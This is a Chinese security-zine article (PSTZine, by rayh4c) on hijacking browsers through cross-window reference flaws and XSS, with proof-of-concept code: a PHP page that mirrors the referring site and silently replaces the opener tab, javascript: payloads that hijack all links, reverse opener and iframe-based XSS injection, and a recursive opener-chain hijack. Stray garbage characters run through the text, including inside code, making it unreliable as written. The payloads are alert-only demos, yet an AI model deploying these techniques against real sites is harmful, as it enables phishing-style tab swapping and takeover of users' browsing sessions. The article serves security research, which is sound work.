[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==
1 l) }& E* `6 j( q/ G) F
                       Issue 0x03, Phile #0x05 of 0x07

0 Z6 |7 k, }* @! T: J
|=---------------------------------------------------------------------------=|
+ L3 v, L9 ]7 z5 B9 r! B|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
6 p! u, T) o# Q9 B. l2 ]- m|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
9 M" \/ F4 M8 o- }+ @/ X- @|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|
" i. g. T( h& E" H
% J  s8 O) a, C3 t5 _) `
[目录]
: J! ?  a$ t$ h4 r- v/ p3 k
1. 前言
# Y4 `/ [8 [# ~3 e2 R$ s4 w) ?2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
5 I3 p5 O3 I7 I  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
7 P1 L' z8 B% ]# J" v' t5. 利用窗口引用漏洞劫持浏览器
) r. F* A# t( N2 j9 ~. `% B6. 利用XSS漏洞劫持浏览器
/ X' R: N/ Z# p: `  6.1 正向跨窗口劫持
3 ~6 I; e- I/ n5 r  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
3 W9 f& m( O( N3 d7 z- O  6.5 完全控制浏览器
7. 后记
8. 参考


: ^+ X' i' s1 E/ G' ~一、前言

- ]6 A) l$ c/ h! S    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
2 g* i1 ^. W. z友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
3 L9 j. @! ^* N; r劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
8 ?$ U& s0 T& m  H条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。
# \( Q1 e8 M8 b8 O0 H; J

# r4 u" _3 l# N+ n1 ^二、同源策略简叙

    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
# D! a7 H; S# p2 O# r从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
. _  w7 Q+ l5 Q, w% ?8 N) t/ T曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
' S! S0 D  `, U马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
% }0 H0 E1 g# K  m) \$ n

三、理解window对象的同源策略
- f4 @1 A5 u0 k0 e
  e* P& k8 T5 }/ m. d$ e    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

9 e2 f7 C7 i6 t+ }--code-------------------------------------------------------------------------
+ F1 A  q( }# i<script language="javascript">
for(p in window) document.write(p+"<br>");
7 w3 B* g# L- @4 Z; O4 s9 {, C</script>
-------------------------------------------------------------------------------

- G# H# K9 J, j( p1 U    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
, O/ s8 ~9 X% M* _7 b( ^1 i法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
) L5 m/ I2 L+ y6 f; V这些属性和方法就必须遵循同源策略。

    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
  B% H4 y$ ]2 ^8 y, c么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
1 n/ T) D: P8 e3 f
--demo.html--------------------------------------------------------------------
. A0 w1 S9 g( I% L0 O" A! Z% }<script language="javascript">   
function allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
  M: V) X. l# [( [1 k$ ]      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
$ w# ]. ~* }" h7 X" e                   obj[p]();   
! H7 g" B& L% r) N3 T& m! \9 u             }else{                     
                  try   
. V) S9 }4 J% z4 l# ?                   {   
% b- e/ v9 u; N1 i: C0 ^+ c                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
. O: G; N( p% K* t4 H9 n# m+ y                   }   
                  catch (ex)   
                   {   
                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
1 t) p/ H: H  w5 J             }   
       }   
   
       document.write(props+"</table>");   
}   
   
function createWin() {
* L  l& r+ n8 K7 o9 Q' K, M' I        newWin = window.open ("http://www.google.com");  
% Q4 K. q3 O9 J/ `        setTimeout(function(){allPrpos(newWin)},2000);
}
: s. r8 C4 E# K4 Q
) M8 X, B, {( I# [# G8 r</script>
6 i, ^* l1 T0 i. w# o4 x
1 \0 J3 B7 P' t1 x6 K<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: V: ?( r5 T8 ]) M& {! P1 \-------------------------------------------------------------------------------
: _8 O6 a0 g. f, x
2 ]* ?/ q- i( U; E
: P/ C* V7 G8 N/ O) W四、窗口引用功能中的同源策略漏洞
' i0 p/ ~5 q8 n7 i6 d5 t
4.1 父窗口引用子窗口的同源策略问题
6 Z2 f8 R" P* J" T  ?
0 ?1 B# v0 d4 D$ y    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
# O) x% n  v" M0 A5 ^3 l4 G" f  \浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。
$ M% v: ?3 A% e8 C' D
--vul1.html--------------------------------------------------------------------
<script language="javascript">
+ U' R. s9 v  p: X, ufunction createWin() {  
        newWin = window.open ("http://www.google.com");  
  }) e* s% b) f) F# z        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 m1 T- S3 {/ v4 O6 ?" b}
3 f1 \) K) a" m- e0 u$ f; J</script>
3 ^8 v$ Q7 J1 x, J  {8 I6 L& Z
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 d/ u) h8 J9 g' u# f9 [% O-------------------------------------------------------------------------------

( a+ W$ j: E& N" |4 B5 }
, T, s! z% [: Q3 j3 Q; ?! b% D4.2 子窗口引用父窗口的同源策略问题

2 [$ E6 j  z- o9 ]/ F    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
) l5 C, p1 U& ]- K用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
* \, _; K( W2 O3 V5 N: u可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
* {' X6 x# H: G# x/ i2 z3 k. A0 p会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

  E' o+ P! D: \0 j6 a( ^--code-------------------------------------------------------------------------
5 k( X$ R8 x, ~$ Z. z4 j
4 A; {2 W7 `; y! L! f8 n, Fjavascript:window.opener.location = "http://www.80sec.com";void(0);

9 x- z! D) \, b  u& m( _& u-------------------------------------------------------------------------------

/ u& E3 b: i- b3 S  D
5 ^& K: B$ {$ W, N6 ]# X五、利用窗口引用漏洞劫持浏览器

* M+ I+ o  V+ y3 B8 q0 A    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
3 @% G' C2 @7 ?" e" Q# d" c窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
  z# l' U' [# W4 p么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
8 P9 b( a8 D5 A0 E  N6 P
+ b5 K+ V) L" s# C' {/ T2 y; p    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
" ]  p, H& B$ Y/ K者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
2 _! p; c7 T# k+ U会产生什么可怕的后果。

; v/ q6 _5 A" J, T8 T: h' J    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
: e2 Q5 z2 k" i' D( G- M9 g1 ]们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
1 U3 v& C; G$ d1 a0 z  Q% c. k这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
4 l7 J1 }) ]. c0 Y% F0 o$ _/ uif (array_key_exists("HTTP_REFERER", $_SERVER)) {
' m! L1 l5 F: B* G  n$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
( Q* Z; d+ n( G, n}
?>

6 c$ O* }  X+ G8 v<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
</script>
+ D' o- N; t. k- X-------------------------------------------------------------------------------

    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


8 S8 F+ b& Z2 B2 ?$ |+ n六、利用XSS漏洞劫持浏览器

# Z. |  t* r' z" c. j* c    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
) Z0 n) J5 s' a* wXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
9 k% A+ u. e1 ~3 t  s( ]讨论跨站师的终极技巧：

+ F3 L, X# P/ J7 l. O3 t3 h7 R, m
6.1 正向跨窗口劫持

% ~& ~1 N$ y$ m) B! k    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
/ ]$ z& d. C0 b4 z接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。
9 t" t5 B# }4 l& V
--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------


3 H1 r; M$ A1 P6 U, i: U, F+ z- k6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
. p7 |. O! m, A- Q码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。
; l5 h) }) h) @  {$ e2 P$ m6 e( J
--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

  q* ^* d9 e& ], T-------------------------------------------------------------------------------


6.3 极度危险的跨框架窗口引用劫持

    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
) G( B4 p; f! N! U0 [9 F* Y6 q; ?可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
1 x/ _' q+ e, K8 L适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
6 g" i4 F$ e# N/ F% K" `非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

, W4 \8 Q2 i* e    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

' M7 O: L' T; A& ?; f* a7 F( \6 q--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
/ |+ @  }$ e" @6 ]2 L# O</script>
( i5 o- z& R$ w5 U9 B0 s-------------------------------------------------------------------------------
/ U9 S/ `0 w2 C5 J- T

6.4 极度危险的正反向跨窗口递归劫持
( y% ]  [; x  B# q" U
& ?- _% _4 a4 h7 B# a$ }' N    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：
0 m7 }0 p0 R7 j. T' `' B
--code-------------------------------------------------------------------------

javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

* U* r5 U1 Q9 m8 G+ N-------------------------------------------------------------------------------
7 U$ {' r0 ^/ R& R, U) i
' e6 l5 f) y3 |1 p0 E    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。
# {2 E' K# l% h; O& P% c$ u
" @3 k/ j! A8 _- d    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
9 R5 e* K& w" r- Z5 J  _& q执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

" j8 v3 W2 o7 L1 e5 ?; b' R    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
! s: G% P. ]# K, o+ y# ]
. ]& f- X" o, z2 ?0 O
6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
' r: P' ?6 `& v: R9 m是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
1 H( V. w% ]6 K* u9 Q( \列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。


1 |- j# W2 y6 x七、后记
9 w  r' o. N& [
4 j# M. A; H6 B, ]    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
& I# q+ I+ E) Y7 \7 q8 u1 E5 y7 m0 q7 a与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
) O/ k  N6 w! |$ [. P- \5 ?过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


( J% N. k% Q1 w( T; x. F八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browser ... licy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5 x" o1 \5 ?0 }& y6 Q8 w5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-